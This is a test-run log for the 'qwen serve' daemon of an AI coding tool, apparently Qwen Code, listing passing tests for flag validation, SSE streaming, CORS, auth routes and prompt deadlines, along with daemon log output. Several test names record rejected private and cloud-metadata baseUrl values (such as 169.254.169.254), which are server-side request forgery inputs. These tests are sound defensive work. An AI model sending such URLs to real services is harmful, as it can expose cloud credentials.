✓ runQwenServe > rejects invalid writerIdleTimeoutMs (NaN) at boot (#4514 T2.9) 136ms
✓ runQwenServe > rejects promptDeadlineMs that exceeds the JS timer cap (#4514 T2.9 wenshao review) 197ms
✓ runQwenServe > accepts writerIdleTimeoutMs above the JS timer cap (#4530 review) 1065ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (empty string) at boot (#4514 T2.9) 64ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (whitespace only) at boot (#4514 T2.9) 20ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (NaN) at boot (#4514 T2.9) 36ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (float) at boot (#4514 T2.9) 32ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (negative) at boot (#4514 T2.9) 21ms
✓ runQwenServe > rejects invalid QWEN_SERVE_PROMPT_DEADLINE_MS env var (zero) at boot (#4514 T2.9) 21ms
✓ runQwenServe > rejects QWEN_SERVE_PROMPT_DEADLINE_MS that exceeds JS timer cap (#4514 T2.9) 400ms
✓ runQwenServe > accepts a valid QWEN_SERVE_PROMPT_DEADLINE_MS env var (#4514 T2.9 happy path) 649ms
✓ runQwenServe > rejects invalid QWEN_SERVE_WRITER_IDLE_TIMEOUT_MS env var at boot (#4514 T2.9) 44ms
✓ runQwenServe > accepts QWEN_SERVE_WRITER_IDLE_TIMEOUT_MS above JS timer cap (#4530 review) 483ms
✓ runQwenServe > accepts a valid QWEN_SERVE_WRITER_IDLE_TIMEOUT_MS env var (#4514 T2.9 happy path) 526ms
✓ runQwenServe > does not mutate process.env when caller provides mcp budget options (#4247 R6 line 216) 449ms
✓ runQwenServe > preserves pre-existing process.env values (no longer wipes globals on omit) (#4247 R6 line 216) 651ms
✓ runQwenServe > starts with --require-auth + token on loopback 1644ms
✓ runQwenServe > accepts QWEN_SERVER_TOKEN from the env when binding non-loopback 556ms
✓ runQwenServe > starts on a loopback ephemeral port without a token 510ms
✓ runQwenServe > --max-connections 0 still accepts connections (tanzhenxin issue 1) 2270ms
✓ runQwenServe > --max-connections Infinity treated as unlimited (tanzhenxin issue 1) 2188ms
✓ runQwenServe > --max-connections 100 sets the cap as supplied 737ms
✓ runQwenServe > --max-connections NaN/negative throws at boot (BUF9-) 295ms
✓ runQwenServe > case-insensitive loopback: --hostname Localhost / LOCALHOST does NOT require a token (BQ92B) 462ms
✓ runQwenServe > strips brackets from `[::1]` before passing to app.listen() 364ms
✓ runQwenServe > rejects `[host]:port` syntax in --hostname with a useful error 132ms
✓ runQwenServe > rejects unbracketed host:port typo with a useful error (BU-sh) 1057ms
✓ runQwenServe > rejects empty-bracket `[]` --hostname (would bind to all interfaces) 332ms
✓ runQwenServe > --workspace flows end-to-end and surfaces on /capabilities (#3803 §02) 928ms
✓ runQwenServe > rejects --workspace pointing at a non-existent directory (BkUyD followup — boot-loud over opaque ENOENT) 44ms
✓ runQwenServe > rejects --workspace pointing at a regular file 32ms
✓ runQwenServe > rejects relative --workspace at boot 31ms
✓ runQwenServe > drains the bridge before closing the listener 342ms
✓ runQwenServe > wires fsFactory + emit through to the read routes (#4175 PR 19 follow-up #2) 1803ms
✓ runQwenServe > keeps deps.fsFactory override out of REST routes 795ms
✓ runQwenServe > trust snapshot defaults to true (operator-chosen workspace) 626ms
✓ runQwenServe > trust snapshot=false flows through deps.trustedWorkspace into the boundary (#4175 PR 19 follow-up #2) 110ms
✓ runQwenServe > handle.close() is idempotent — concurrent + repeat calls share one drain cycle 302ms
✓ runQwenServe > force-closes connections after the shutdown timeout 483ms
✓ runQwenServe > detaches its SIGINT/SIGTERM listeners after close completes 327ms
✓ GET /session/:id/events (SSE) > streams events from the bridge as SSE frames 813ms
✓ GET /session/:id/events (SSE) > streams virtual subagent events without subscribing to the parent session 1296ms
✓ GET /session/:id/events (SSE) > does not look up the bus epoch for virtual subagent SSE streams 417ms
✓ GET /session/:id/events (SSE) > stamps _meta.serverTimestamp on every SSE frame (#4175 F4 prereq, chiga0 #19 P0) 345ms
✓ GET /session/:id/events (SSE) > preserves pre-existing _meta keys when stamping serverTimestamp 400ms
✓ GET /session/:id/events (SSE) > preserves pre-existing _meta.serverTimestamp on SSE frames 434ms
✓ GET /session/:id/events (SSE) > forwards Last-Event-ID to the bridge 385ms
✓ GET /session/:id/events (SSE) > forwards a valid X-Qwen-Event-Epoch header to the bridge as the epoch option 413ms
✓ GET /session/:id/events (SSE) > degrades an invalid X-Qwen-Event-Epoch header to "not provided" 1733ms
✓ GET /session/:id/events (SSE) > advertises the bus epoch on the SSE response headers (even without a cursor) 415ms
✓ GET /session/:id/events (SSE) > forwards ?maxQueued=N to the bridge when in [16, 2048] 504ms
✓ GET /session/:id/events (SSE) > omits maxQueued from the bridge call when the query param is absent 359ms
✓ GET /session/:id/events (SSE) > 400s a present-but-empty ?maxQueued= before opening the SSE stream 651ms
✓ GET /session/:id/events (SSE) > 400s a non-decimal ?maxQueued before opening the SSE stream 1019ms
✓ GET /session/:id/events (SSE) > 400s an out-of-range ?maxQueued before opening the SSE stream 626ms
✓ GET /session/:id/events (SSE) > returns 404 when the bridge reports unknown session 296ms
✓ GET /session/:id/events (SSE) > aborts the bridge subscription when the client disconnects 559ms
✓ GET /session/:id/events (SSE) > emits a stream_error frame when the bridge iterator throws mid-stream 354ms
✓ GET /session/:id/events (SSE) > stamps errorKind on stream_error when the thrown error is classified (#4175 F4 prereq, chiga0 #19 P0) 316ms
✓ GET /session/:id/events (SSE) > writes a daemon-side stderr log on SSE ring eviction (#4360 wenshao observability fold-in) 350ms
✓ GET /session/:id/events (SSE) > falls back to "?" placeholders when state_resync_required data is partial 374ms
✓ GET /session/:id/events (SSE) > writes a daemon-side stderr log on bridge iterator error (#4360 wenshao observability fold-in) 400ms
✓ GET /session/:id/events (SSE) > includes [errorKind] suffix in bridge iterator error log when classified (#4360 wenshao observability fold-in) 337ms
✓ GET /session/:id/events (SSE) > forwards numeric Last-Event-ID even when supplied as a string 364ms
✓ GET /session/:id/events (SSE) > drops malformed Last-Event-ID values (non-numeric, negative) 470ms
✓ GET /demo > returns 200 with text/html content type on loopback 746ms
✓ GET /demo > is accessible without bearer token on loopback even when --token is set 311ms
✓ GET /demo > requires bearer token on non-loopback (401 without token) 258ms
✓ GET /demo > is accessible on non-loopback with valid bearer token 149ms
✓ GET /demo > is guarded by CORS (rejects cross-origin requests) 154ms
✓ GET /demo > sets anti-clickjacking headers (X-Frame-Options + CSP) 145ms
✓ same-origin Origin-stripping middleware > strips loopback Origin header matching daemon port 167ms
✓ same-origin Origin-stripping middleware > does not strip non-loopback Origin 143ms
✓ same-origin Origin-stripping middleware > does not strip Origin with wrong port 139ms
✓ same-origin Origin-stripping middleware > strips host.docker.internal Origin 142ms
✓ same-origin Origin-stripping middleware > strips localhost Origin 210ms
✓ same-origin Origin-stripping middleware > strips [::1] Origin 142ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > matched origin gets 200 + CORS response headers (GET /health) 175ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > OPTIONS preflight returns 204 + CORS headers with no body 167ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > mismatched origin still gets 403 with the same error envelope as denyBrowserOriginCors 162ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > CLI/SDK callers with no Origin header pass through unchanged 156ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > advertises `allow_origin` capability tag when configured 422ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > does NOT advertise `allow_origin` when `--allow-origin` is unset (regression anchor for the conditional tag) 244ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > rejects embedded `*` allowlist without a token 30ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > `*` pattern with a token admits any cross-origin request 225ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > demo self-origin shim still works when `--allow-origin` is set (loopback strip runs first) 656ms
✓ --allow-origin CORS allowlist (T2.4 #4514) > empty allowOrigins array behaves identically to undefined (install path unchanged) 601ms
✓ runQwenServe SIGINT handler > does not register signal handlers until the listener is up 11ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > parks a single-workspace registry on app.locals for the canonical primary workspace 596ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > parks a default WorkspaceFileSystemFactory on app.locals when none is injected 161ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > uses the injected fsFactory verbatim when supplied 350ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > threads production-style primary trust into the default runtime metadata 126ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > threads primary runtime env metadata into the default registry runtime 449ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > uses an injected workspace registry as the primary runtime source 1003ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > resolves the primary filesystem factory from the active hot-reload generation 109ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > accepts matching runtime deps when a workspace registry is injected 132ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > requires the Voice coordinator paired with runtime removal 25ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > uses the injected registry sender when client-MCP over WS is enabled 211ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > rejects conflicting runtime deps when a workspace registry is injected 56ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > passes custom ignore files through resolveBridgeFsFactory 396ms
✓ createServeApp ServeAppDeps.fsFactory wiring (#4175 PR 18) > default fsFactory is built with trusted=false (writes refused) 178ms
✓ auth device-flow routes > POST /workspace/auth/device-flow returns 201 on fresh start with redacted body 356ms
✓ auth device-flow routes > fans device-flow events out only to trusted workspace bridges 360ms
✓ auth device-flow routes > POST is rejected with 401 token_required on token-less loopback (strict gate) 781ms
✓ auth device-flow routes > POST with unknown providerId returns 400 unsupported_provider 266ms
✓ auth device-flow routes > POST is idempotent take-over for the same providerId — second POST returns 200 + attached:true 301ms
✓ auth device-flow routes > POST take-over only echoes userCode/verificationUri/initiatorClientId to caller matching the initiator (#4291 follow-up review) 394ms
✓ auth device-flow routes > POST take-over preserves the anonymous-start → anonymous-reattach use case 200ms
✓ auth device-flow routes > GET /workspace/auth/device-flow/:id returns 200 for known + 404 for unknown 397ms
✓ auth device-flow routes > DELETE on pending → 204; idempotent on already-cancelled → 204; unknown → 404 299ms
✓ auth device-flow routes > GET /workspace/auth/status surfaces pending flows and supported providers 277ms
✓ auth device-flow routes > capability tag auth_device_flow is advertised unconditionally 193ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects unsupported protocol values 303ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private baseUrl values 221ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private IPv6 baseUrl values 155ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects IPv4-mapped IPv6 baseUrl values 282ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private baseUrl http://100.64.1.1:11434/v1 160ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private baseUrl http://[::]:11434/v1 146ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private baseUrl http://[febf::1]:11434/v1 162ms
✓ auth device-flow routes > POST /workspace/auth/provider rejects private baseUrl http://[::ffff:169.254.169.254]:11434/v1 182ms
✓ auth device-flow routes > POST /workspace/auth/provider allows private baseUrl values when explicitly enabled 172ms
✓ auth device-flow routes > POST /workspace/auth/provider filters invalid advanced numeric fields 155ms
✓ auth device-flow routes > POST /workspace/auth/provider passes the current generation guard into persistence 157ms
✓ auth device-flow routes > upstream provider.start failure → 502 upstream_error, not 500 232ms
✓ auth device-flow routes > sweeper-driven auto-expiry transitions a stale entry to status:error and surfaces over GET 235ms
✓ auth device-flow routes > POST with missing providerId returns 400 invalid_request 152ms
✓ auth device-flow routes > POST with non-string providerId returns 400 invalid_request 146ms
✓ auth device-flow routes > POST returns 409 too_many_active_flows when registry cap is reached 169ms
✓ auth device-flow routes > DELETE without bearer is rejected 401 token_required (strict-mutation gate) 162ms
✓ auth device-flow routes > GET /workspace/auth/device-flow/:id is strict-gated; GET /workspace/auth/status is read-only 206ms
✓ auth device-flow routes > GET /workspace/auth/device-flow/:id only echoes userCode/verificationUri/initiatorClientId to caller matching the initiator 302ms
✓ auth device-flow routes > GET /workspace/auth/device-flow/:id returns 400 invalid_client_id when X-Qwen-Client-Id is malformed (qwen-latest review N3) 291ms
✓ auth device-flow routes > GET /workspace/auth/device-flow/:id returns userCode for an anonymously-started flow when the GET caller is also anonymous 230ms
✓ GET /workspace/mcp/:server/tools > returns tools for a valid server name 154ms
✓ GET /workspace/mcp/:server/tools > decodes URL-encoded server names 134ms
✓ GET /workspace/mcp/:server/tools > 400 when server name exceeds length limit 152ms
✓ GET /workspace/mcp/:server/resources > returns resources for a valid server name 150ms
✓ GET /workspace/mcp/:server/resources > decodes URL-encoded server names 147ms
✓ GET /workspace/mcp/:server/resources > 400 when server name exceeds length limit 156ms
✓ POST /workspace/mcp/:server/restart — entryIndex validation > 400 on entryIndex=-1 261ms
✓ POST /workspace/mcp/:server/restart — entryIndex validation > 400 on entryIndex=abc 169ms
✓ POST /workspace/mcp/:server/restart — entryIndex validation > 400 on entryIndex=1.5 172ms
✓ sendPermissionVoteError branches > 403 permission_forbidden when bridge throws PermissionForbiddenError 183ms
✓ sendPermissionVoteError branches > 501 permission_policy_not_implemented when bridge throws PermissionPolicyNotImplementedError 151ms
✓ sendPermissionVoteError branches > 500 cancel_sentinel_collision when bridge throws CancelSentinelCollisionError 146ms
✓ GET /capabilities — policy.permission > includes policy.permission in capabilities response 149ms
✓ T2.9 prompt absolute deadline (issue #4514) > resolvePromptDeadlineMs > returns undefined when the server flag is unset 4ms
✓ T2.9 prompt absolute deadline (issue #4514) > resolvePromptDeadlineMs > uses the server flag when no request override is present 3ms
✓ T2.9 prompt absolute deadline (issue #4514) > resolvePromptDeadlineMs > caps the request override at the server flag (request can shorten) 2ms
✓ T2.9 prompt absolute deadline (issue #4514) > resolvePromptDeadlineMs > rejects request overrides that exceed the server flag 2ms
✓ T2.9 prompt absolute deadline (issue #4514) > resolvePromptDeadlineMs > ignores invalid request overrides without dropping the server cap 7ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (negative) with 400 153ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (zero) with 400 871ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (float) with 400 965ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (string) with 400 165ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (boolean) with 400 141ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > rejects an invalid `deadlineMs` body field (object) with 400 250ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > returns cleanly when client disconnects right after admission (wenshao review #3) 829ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > does not abort an accepted prompt when the response closes 213ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > forwards the server-side deadline to the bridge via context.deadlineMs 176ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > strips route-only deadlineMs before forwarding the prompt body 173ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > caps a per-prompt `deadlineMs` override at the server flag 140ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > uses the per-prompt override when shorter than the server flag 142ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > never aborts the bridge signal from a route-side timer (deadline owned by the bridge) 348ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > returns 202 without deadline when the flag is unset 150ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > forwards the deadline even when the prompt resolves promptly 245ms
✓ T2.9 prompt absolute deadline (issue #4514) > POST /session/:id/prompt > keeps re-exporting PromptDeadlineExceededError after the bridge migration 21ms
✓ T2.9 prompt absolute deadline (issue #4514) > GET /capabilities > omits `prompt_absolute_deadline` by default 243ms
✓ T2.9 prompt absolute deadline (issue #4514) > GET /capabilities > advertises `prompt_absolute_deadline` when the flag is set 618ms
✓ T2.9 prompt absolute deadline (issue #4514) > GET /capabilities > omits `writer_idle_timeout` by default 165ms
✓ T2.9 prompt absolute deadline (issue #4514) > GET /capabilities > advertises `writer_idle_timeout` when the flag is set 161ms
✓ T2.9 SSE writer idle timeout (issue #4514) > evicts an idle SSE writer with a terminal client_evicted frame 1124ms
✓ T2.9 SSE writer idle timeout (issue #4514) > does not evict when the writer idle timeout is unset (legacy contract) 980ms
✓ T2.9 SSE writer idle timeout (issue #4514) > does NOT evict when active writes keep refreshing lastWriteAt (#4514 T2.9 wenshao review) 1044ms
✓ T2.9 SSE writer idle timeout (issue #4514) > does NOT evict when a back-pressured write drains within the idle budget 737ms
✓ T2.9 serve-side errorKind taxonomy (issue #4514) > publishes the new error kinds in SERVE_ERROR_KINDS 6ms
✓ sendBridgeError daemonLog routing > maps workspace drain admission failures to 503 182ms
✓ sendBridgeError daemonLog routing > routes 5xx errors through daemonLog when provided 763ms
✓ sendBridgeError daemonLog routing > falls back to writeStderrLine when daemonLog is not provided 502ms
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 end listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 end listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 finish listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 error listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 close listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 drain listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 finish listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 error listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 close listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(node:7312) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 data listeners added to [Socket]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
qwen: goal restore failed for session persisted-1: Error: hook system exploded
qwen serve: getMcpClientAccounting failed: manager.getMcpClientAccounting is not a function
qwen serve: getMcpClientAccounting failed: manager.getMcpClientAccounting is not a function
qwen serve: getMcpClientAccounting failed: manager.getMcpClientAccounting is not a function
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='0x10' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='1e2' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='1.0' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='0b101' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='5 abc' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='abc' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='-5' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET='0' (expected positive integer); MCP budget enforcement disabled for this child.
qwen serve: ignoring invalid QWEN_SERVE_MCP_CLIENT_BUDGET=' ' (expected positive integer); MCP budget enforcement disabled for this child.
✓ src/acp-integration/acpAgent.test.ts (358 tests) 72092ms
✓ runAcpAgent shutdown cleanup > starts telemetry only after a matching successful initialize response is sent 451ms
✓ QwenAgent MCP SSE/HTTP support > does not log an idle cancellation through the real ACP notification path 1676ms
✓ QwenAgent MCP SSE/HTTP support > propagates a non-idle session cancellation error 344ms
✓ QwenAgent MCP SSE/HTTP support > sessionParent records the parent lineage via an awaited durable write 364ms
✓ QwenAgent MCP SSE/HTTP support > status ext methods expose workspace snapshots without secrets 336ms
✓ QwenAgent MCP SSE/HTTP support > includes details for workspace memory remember failures 1273ms
✓ QwenAgent MCP SSE/HTTP support > logs sanitized details for workspace memory failures 342ms
✓ QwenAgent MCP SSE/HTTP support > disposes a pending transcript config superseded by newer settings 337ms
✓ QwenAgent MCP SSE/HTTP support > qwen/skills/install installs a GitHub directory skill through ACP 443ms
✓ QwenAgent MCP SSE/HTTP support > qwen/skills setEnabled resolves user and project skill files through ACP 341ms
✓ QwenAgent loadSession / unstable_resumeSession > loadSession reinstalls the goal terminal observer even when there is no goal to restore 419ms
✓ QwenAgent loadSession / unstable_resumeSession > loadSession still completes when the goal restore throws 303ms
✓ QwenAgent loadSession / unstable_resumeSession > loadSession can return bulk replay updates without streaming history 354ms
✓ QwenAgent loadSession / unstable_resumeSession > does not close a replacement session when an older replay fails 317ms
✓ QwenAgent loadSession / unstable_resumeSession > times out a live load drain and releases its close gate 404ms
✓ QwenAgent extMethod runtime MCP add/remove (T2.8) > initializes discovery without reloading sessions, then reloads persisted settings 610ms
✓ QwenAgent extMethod runtime MCP add/remove (T2.8) > allows workspace MCP initialization to retry after a failure 349ms
✓ extractFilesFromTarGz > rejects an archive whose decompressed size exceeds the limit 583ms
✓ sessionLanguage multi-session propagation > propagates language write and refresh to all sessions with varying paths 473ms
✓ sessionLanguage multi-session propagation > preserves auto output language when syncing across sessions 434ms
✓ sessionLanguage multi-session propagation > still refreshes sessions when a file write fails 392ms
✓ sessionLanguage multi-session propagation > clears removed providerProtocol mappings and refreshes auth on workspace reload 304ms
✓ sessionLanguage multi-session propagation > clears Todo Stop Guard trust when workspace reload enters plan mode 305ms
✓ sessionLanguage multi-session propagation > refreshes busy skill sessions and reports per-session failures 323ms
✓ sessionLanguage multi-session propagation > refreshes skill content once per config before publishing session updates 306ms
✓ sessionLanguage multi-session propagation > coalesces bootstrap extension refreshes without directly refreshing the session skills 524ms
✓ src/ui/hooks/useGeminiStream.test.tsx (183 tests) 35711ms
✓ useGeminiStream > sends a hidden Goal turn without user admission side effects 1076ms
✓ useGeminiStream > claims a Goal only after direct user input becomes model-facing 686ms
✓ useGeminiStream > queues background shell terminal notifications for the model loop 431ms
✓ useGeminiStream > vision bridge gate > keeps an agent-capable image route through tools and retry, then clears it 365ms
✓ useGeminiStream > Cancellation > repairs the fence when an oversized thought is split inside a code block 534ms
✓ useGeminiStream > Cancellation > splits oversized streamed content by rendered height so the pending item stays bounded 438ms
✓ useGeminiStream > Cancellation > commits a code block taller than the viewport incrementally (no stall-then-dump) 331ms
✓ useGeminiStream > handleFinishedEvent > should not add message for FINISH_REASON_UNSPECIFIED 328ms
✓ useGeminiStream > handleFinishedEvent > should add appropriate messages for other finish reasons 1033ms
✓ useGeminiStream > Thought Reset > should accumulate streamed thought descriptions 307ms
✓ useGeminiStream > Concurrent Execution Prevention > should handle /btw as a UI-only command while a main response is in progress 552ms
✓ useGeminiStream > Concurrent Execution Prevention > should keep the main request cancellable after submitting /btw in parallel 380ms
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:28.546Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-skill-settings-brjEUz secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:39995 (mode=http-bridge, workspace=/tmp/qws-skill-settings-brjEUz)
qwen serve: bound to workspace "/tmp/qws-skill-settings-brjEUz"
qwen serve: startup timing: processToListenMs=71856 runQwenServeToListenMs=4408
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:31.033Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
2026-09-11T23:06:31.307Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-skill-dual-iSJB8A secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41449 (mode=http-bridge, workspace=/tmp/qws-skill-dual-iSJB8A)
qwen serve: bound to workspace "/tmp/qws-skill-dual-iSJB8A"
qwen serve: startup timing: processToListenMs=73014 runQwenServeToListenMs=439
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:31.801Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-dl-4YpnNG/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:06:32.201Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-dl-4YpnNG secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:32849 (mode=http-bridge, workspace=/tmp/qws-dl-4YpnNG)
qwen serve: bound to workspace "/tmp/qws-dl-4YpnNG"
qwen serve: startup timing: processToListenMs=73846 runQwenServeToListenMs=307
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:06:34.988Z [WARN] [DAEMON] route=GET /missing-0 durationMs=290 status=404 request completed
2026-09-11T23:06:35.572Z [WARN] [DAEMON] route=GET /missing-1 durationMs=252 status=404 request completed
2026-09-11T23:06:35.671Z [WARN] [DAEMON] route=GET /missing-2 durationMs=44 status=404 request completed
2026-09-11T23:06:35.712Z [WARN] [DAEMON] route=GET /missing-3 durationMs=19 status=404 request completed
2026-09-11T23:06:35.745Z [WARN] [DAEMON] route=GET /missing-4 durationMs=12 status=404 request completed
2026-09-11T23:06:35.779Z [WARN] [DAEMON] route=GET /missing-5 durationMs=12 status=404 request completed
2026-09-11T23:06:35.811Z [WARN] [DAEMON] route=GET /missing-6 durationMs=11 status=404 request completed
2026-09-11T23:06:35.839Z [WARN] [DAEMON] route=GET /missing-7 durationMs=8 status=404 request completed
2026-09-11T23:06:35.874Z [WARN] [DAEMON] route=GET /missing-8 durationMs=18 status=404 request completed
2026-09-11T23:06:35.899Z [WARN] [DAEMON] route=GET /missing-9 durationMs=8 status=404 request completed
2026-09-11T23:06:35.922Z [WARN] [DAEMON] route=GET /missing-10 durationMs=9 status=404 request completed
2026-09-11T23:06:35.941Z [WARN] [DAEMON] route=GET /missing-11 durationMs=8 status=404 request completed
2026-09-11T23:06:35.961Z [WARN] [DAEMON] route=GET /missing-12 durationMs=8 status=404 request completed
2026-09-11T23:06:36.010Z [WARN] [DAEMON] route=GET /missing-13 durationMs=20 status=404 request completed
2026-09-11T23:06:36.041Z [WARN] [DAEMON] route=GET /missing-14 durationMs=11 status=404 request completed
2026-09-11T23:06:36.088Z [WARN] [DAEMON] route=GET /missing-15 durationMs=22 status=404 request completed
2026-09-11T23:06:36.114Z [WARN] [DAEMON] route=GET /missing-16 durationMs=9 status=404 request completed
2026-09-11T23:06:36.145Z [WARN] [DAEMON] route=GET /missing-17 durationMs=16 status=404 request completed
2026-09-11T23:06:36.172Z [WARN] [DAEMON] route=GET /missing-18 durationMs=10 status=404 request completed
2026-09-11T23:06:36.198Z [WARN] [DAEMON] route=GET /missing-19 durationMs=10 status=404 request completed
2026-09-11T23:06:36.222Z [WARN] [DAEMON] route=GET /missing-20 durationMs=10 status=404 request completed
2026-09-11T23:06:36.248Z [WARN] [DAEMON] route=GET /missing-21 durationMs=10 status=404 request completed
2026-09-11T23:06:36.273Z [WARN] [DAEMON] route=GET /missing-22 durationMs=9 status=404 request completed
2026-09-11T23:06:36.298Z [WARN] [DAEMON] route=GET /missing-23 durationMs=10 status=404 request completed
2026-09-11T23:06:36.321Z [WARN] [DAEMON] route=GET /missing-24 durationMs=9 status=404 request completed
2026-09-11T23:06:36.345Z [WARN] [DAEMON] route=GET /missing-25 durationMs=10 status=404 request completed
2026-09-11T23:06:36.373Z [WARN] [DAEMON] route=GET /missing-26 durationMs=9 status=404 request completed
2026-09-11T23:06:36.396Z [WARN] [DAEMON] route=GET /missing-27 durationMs=10 status=404 request completed
2026-09-11T23:06:36.422Z [WARN] [DAEMON] route=GET /missing-28 durationMs=10 status=404 request completed
2026-09-11T23:06:36.448Z [WARN] [DAEMON] route=GET /missing-29 durationMs=10 status=404 request completed
